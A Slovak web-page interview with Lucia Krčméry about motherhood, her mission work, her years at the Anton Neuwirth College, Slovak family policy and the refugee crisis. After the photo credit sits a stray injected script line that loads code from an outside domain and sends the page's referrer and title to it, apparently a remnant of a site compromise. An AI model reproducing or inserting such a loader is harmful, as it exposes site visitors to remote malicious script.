Relata refero: Lucia Krčméry

S bývalou výkonnou riaditeľkou Kolégia, dobrovoľníčkou Modrého anjela a spolopracovníčkou SAMRS o aktívnom materstve, spomienkach na čas v kaštieli a utečencoch. 

Čomu teraz venuješ najviac svojho času?

Navíjaniu toaletného papiera a upratovaniu peňaženky. Tak sa mi zdá. Sú to  momentálne Lucuškine najobľúbenejšie hračky.

Čo si na rodičovskej dovolenke užívaš najviac?

Ranné jesenné vychádzky, keď sa všetci ponáhľajú do práce, poobednú kávičku, keď naše bábo zaspí, podvečerné čítanie knihy, plnú vaňu vody, stretká s kamošmi. Tiež si na materskej dovolenke užívam momenty, keď mam dovolenku od materstva – práve vďaka nim si potom oveľa viac užívam i samotné materstvo. Je naozaj náročné mať aj materskú aj dovolenku. Je a to potrebná silná sebadisciplínu, empatický manžel, angažovaní priatelia a podporná komunita, akou je pre mňa Kolégium Antona Neuwirtha a Spoločenstvo Ladislava Hanusa. Najlepšie na materskej je, že vďaka bábätku, ktoré tak veľmi žije prítomnosťou, si aj ja oveľa viac uvedomujem silu prítomného okamihu. Také, že „postoj chvíľa si krásna.“ Možno preto sa to volá dovolenka.

Mamičky, ktoré ostávajú doma so svojimi deťmi sa zvyknú posťažovať na „izoláciu od normálneho sveta“, kde nie je všetko okyckané detskou výživou. Prežívaš niečo podobné?

Niekedy naozaj áno. Počas materskej sa dá od „normálneho“ sveta izolovať veľmi ľahko. Je to celkom paradoxné. Mohlo by sa zdať, že človek má viac čašu na zapojenie sa do spoločenského života, no zároveň aj väčší priestor pre výhovorky, prečo až „od zajtra”. S našou Luciou sme parťáčky – obom nám robí dobre nebyť príliš dlho samým doma. Naša mestská „činžiaková“ generácia má k izolácii väčšie riziko. Ľahšie sa vieme vyhnúť spoločnosti, a zároveň si ju vieme ľahko a klamlivo substituovať mobilom, či sociálnou sieťou. Prístup k autu, manžel, a tiež mix ľahkovážnosti (mojej) a adaptability (Lucuškinej) mne osobne veľmi pomáha sa neizolovať. Samozrejme, aj bohaté menu mojich aktivít. S tým všetkým sa nedá neísť na obed do Ikey, na chatu s kamarátmi a ich rodinami, na roadtrip do Ameriky, na predlžený víkend do Ľubľany, na svätú omšu cez týždeň, na kačacie hody cez víkend, na obed k Luteránovcom…

Predtým, ako ste si s manželom založili rodinu, si bola na misiách na Haiti a Burundi. Aká to bola skúsenosť?

Veľmi cenná. Čerpala som z nej na diplomovke, pri zadávaní tímových úloh a aj v manželstve. Uvedomila som si svoje limity, prišla som o niektoré sny, nakazila som sa maláriou. Uvedomila som si hodnotu nielen vlastného života, ale aj Božieho plánu a zároveň som získala úplné iný pohľad na rozvojovú pomoc.

6e73247a-6604-4829-bd30-36256bac54d0

Dva roky si stála na čele Kolégia ako výkonná riaditeľka. Ako spätne hodnotíš tento čas?

Bola to paráda! Žiadne nezmyselne úlohy, žiadny neuroticky šéf, žiadny podrazácky a karieristický kolektív, žiadni šikanujúci klienti. Určite, bola to aj riadna „makačka“. Predsa len zodpovednosť priamo pred Najvyšším, každodenné skúšky sebadisciplíny, obavy, či nájdeme dosť peňazí. Neviem si predstaviť, akou lepšou prácou by som tie roky vyplnila.

Čomu by si sa chcela venovať po skončení materskej dovolenky?

Dúfam, že tak skoro neskončí. Chcela by som sa venovať tomu, v čom som dobrá, a čo bude užitočné. Ideálne, ak by to aj naďalej súviselo s našimi deťmi. Už teraz mám v „to do liste“ rôzne projekty, ktorým sa postupne venujem. Po materskej sa im budem venovať v inej forme alebo intenzite. No v podstate nemám pocit, že by sa mi materstvom radikálne zmenil život. Naše skvelé fungovanie s Lucuškou mi umožňuje venovať sa rôznym mimorodičovským projektom, veľa čítam, budujem našu domácnosť, dobrovoľníčim v Modrom anjelovi (*poznámka redaktora, Modrý anjel je tím krízovej intervencie – nezisková organizácia, ktorá bezplatne poskytuje podporu obetiam tragických udalostí a ich príbuzným), dokonca sa trocha pracovne venujem aj rozvojovým projektom, s ktorými súvisí aj moja dizertačná práca. Úprimne, trochu mi chýba ocenenie projektov takéhoto typu verejnosťou.

Čo považuješ za svoj doterajší najväčší úspech?

To, že si ma môj Michal vybral za ženu. Tiež to, že som vydržala trinásť týždňov, dvanásť hodín denne predávať v Spojených štátoch podomovým predajom päťsto dolárové knihy. Veľmi odporúčam!

9dd94c44-9dd3-47b9-934b-be96916b3416

O čo presnejšie išlo?

Southwestern Company umožňuje študentom prísť do USA a predávať vzdelávacie knihy, pričom si individuálne musia nájsť ubytovanie u nejakej americkej rodiny klopaním na dvere a žiadaním o izbu. Človek predáva knihy, lenže ľudia kupujú skôr príbeh, emóciu a túžbu, ktorú mu ten predávajúci musel vedieť sprostredkovať. Celé je to do detailov prepracovaný systém predaja, postavený na sebazaprení a sebadisciplíne.

Čo ti v tomto čase robí najväčšiu radosť?

Pozmenila by som otázku na „kto“. Naša dcérka mi robí najväčšiu radosť. Keď sa smeje. A aj keď spí. Keď sa naučí niečo nové a žiari šťastím.

97f3fb5f-7204-4921-ac45-fe397cd33f3d

Prečo si sa rozhodla študovať v Kolégiu?

Chcela som viac pochopiť katolícku vieru, bývať v kaštieli a spoznať filozofiu, ktorú som na strednej „odflákla“.

V čom ťa Kolégium najviac zmenilo?

Dosť som „skonzervatívnela“. Som tým pádom aj trochu nudnejšia? Verím, že nie! Viacej sa zamýšľam nad tým, čo vidím, čítam, počujem, zažívam. Celkovo cítim oveľa väčšiu zodpovednosť za Slovensko.

Čo bolo v Kolégiu pre teba najnáročnejšie?

Zladiť ho s dvoma vysokými školami, rodinou a kamarátmi mimo Kolégia. Tiež ma niekedy rozčuľovala prílišná dobrota a milosrdenstvo KAN tímu a mojich spolužiakov – bolo neľahké sa s tým vysporiadať, akceptovať to, chápať to a aplikovať to – to sa stále učím.

Štvalo ťa milosrdenstvo?

Myslím to tak, že tím Kolégia i moji spolužiaci boli veľmi milosrdní vo vzťahu ku všetkým a ja som bola zvyknutá na oveľa prísnejší a tvrdší prístup. A tu zrazu naši učitelia i moji spolužiaci namiesto toho, aby trestali, či žiadali náhradu za nie najlepšie konanie, snažili sa skôr pochopiť a odpustiť. Vôbec nesúdiť, či odsudzovať.  A to je veľmi vzácne pre tento svet. A ja som sa to pri nich pomaly učila.

Na čo z Kolégia najradšej spomínaš?

Na úsmev a čaj – typická seansa v kuchyni kaštieľa, keď sme mali toľko povinností, že sme ani nevedeli, kde začať.  Na Džanu (*pozn. redaktora, spolužiačka) u mňa na matraci, keď sme sa spoločne (ne)učili. Na pokecy u Marty (*pozn. redaktora, spolužiačka). Na prechádzky do kaštieľa z K10. Na náš celý rok v Kolégiu.

41c24119-2884-4be6-a491-36586a4f43aa

Ako vnímaš podporu matiek a mladých rodín zo strany súčasného sociálneho systému na Slovensku?

Nevadí mi, že som nedostala podporu na materskej, ani to, že rodičovský príspevok je 200 eur. Neočakávam, že sa o mňa má postarať štát. Mám na to rodinu. Čo mi prekáža je to, že náš sociálny systém nedáva dostatočný priestor rodine, aby sa mohla postarať o samotné matky. Teda princíp subsidiarity nefunguje tak, ako by mohol. Prekážajú mi systémové limity, obmedzenia a nariadenia – citeľné počas tehotenstva, pôrodu i materstva. A podpora mladých rodín?! Žiadna. Len pre ilustráciu: nezosobášený pár má materskú dovolenku o mesiac dlhšie, môj manžel si musel čerpať dovolenku, aby s nami po pôrode mohol byť chvíľu času, matka dostane od štátu viac peňazí, ak dá dieťa do jaslí, než keď sa o svoje dieťa stará sama. A tá „papierová tortúra“ po úradoch. Čudné (ne)stimuly od štátu.

Čo a akým spôsobom by sa v tejto oblasti určite malo čo najskôr zmeniť?

Politické elity na Slovensku by si mali konečne uvedomiť, že je nevyhnutné, aby sa v našej krajine rodilo viac detí. A niečo zásadné pre to aj vykonať! Podporovať a stimulovať rodiny, aby sa nebáli mať aj viac detí a mohli „si to aj dovoliť“. Nielen na svoj vlastný úkor, veď každé dieťa každej matky je budúci daňový poplatník, člen občianskej spoločnosti. Ďalej, podľa princípu subsidiarity nastaviť podmienky tak, aby sa rodina mohla postarať o ostatných členov rodiny. Nemôžem nespomenúť pár „strelných” nápadov ako efektívne online úrady, ktoré budú navzájom zdieľať informácie, zabezpečiť dovolenku navyše pre čerstvých otcov, materské dávky aj pre mamičky, ktoré rodia hneď po alebo ešte aj počas svojho vysokoškolského štúdia. Z ekonomickej stránky je to, tvrdo povedané, nevýhodné mať dieťa hneď po škole. Aj preto prvorodičky „starnú“.

Ako vnímaš súčasnú utečeneckú krízu?

Je to tragédia pre tých, čo sú nútení utekať. Hrozná vizitka a súčasne ohromná výzva pre celé ľudstvo. Vraj musíme chrániť Slovensko. Pred čím? Pred islamom, či pred konzumom, sebectvom a manipuláciou informáciami?

Čím by Slováci najviac pomohli týmto ľuďom na úteku?

V tomto okamihu si myslím, že najmä osvetou. Kvôli šialenej slovenskej medializácii mnohí Slováci naozaj veria, že utečenecká kríza je invázia islamských fundamentalistov. A naozaj mnohých hnevá, keď uvidia utečenca so smartfónom, či v značkovej bunde. Treba robiť osvetu o tom, z akých krajín a podmienok títo ľudia utekajú, pred čím utekajú, čo strácajú a čo riskujú. Samozrejme, že sú medzi nimi aj ľudia, ktorých by sme označili ako zlých. Tak ako medzi nami.  Je potrebné prinášať ďalšie informácie a diskutovať. Pred tým, ako otvoríme hranice, musíme mať otvorené srdcia. Preto podľa mňa najviac pomôžeme ľuďom na úteku, ak čo najviac ľuďom u nás doma dokážeme pravdivo priblížiť situáciu utekajúcich ľudí. Obnovme vzájomnosť dobrých úmyslov. To bude potom krása!

 

Krcmery_LuciaLucia Krčméry, rodená Pašková, pochádza zo Bziniec pod Javorinou. So svojím manželom Michalom a ročnou dcérkou Luciou bývajú v Bratislave. Na Fakulte medzinárodných vzťahov UK vyštudovala odbor hospodárska diplomacia a teraz pracuje na svojej doktorandúre na Vysokej škole zdravotníctva a sociálnej práce svätej Alžbety, odbor misijná a charitatívna práca, kde sa špecializuje na inovácie v rozvojovej pomoci. Je absolventkou tretieho ročníka KAN. V rokoch 2012-2014 pracovala ako jeho výkonná riaditeľka. Momentálne sa tiež venuje dobrovoľníckej činnosti v neziskovej organizácii Modrý anjel a spolupracuje na celkovo štyroch projektoch SAMRS v Keni a Sudáne.

 

text: Justína Malysová, študentka KAN7 | foto: archív Lucie Krčméry

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

0 replies

Leave a Reply

Want to join the discussion?
Feel free to contribute!

Leave a Reply

Your email address will not be published. Required fields are marked *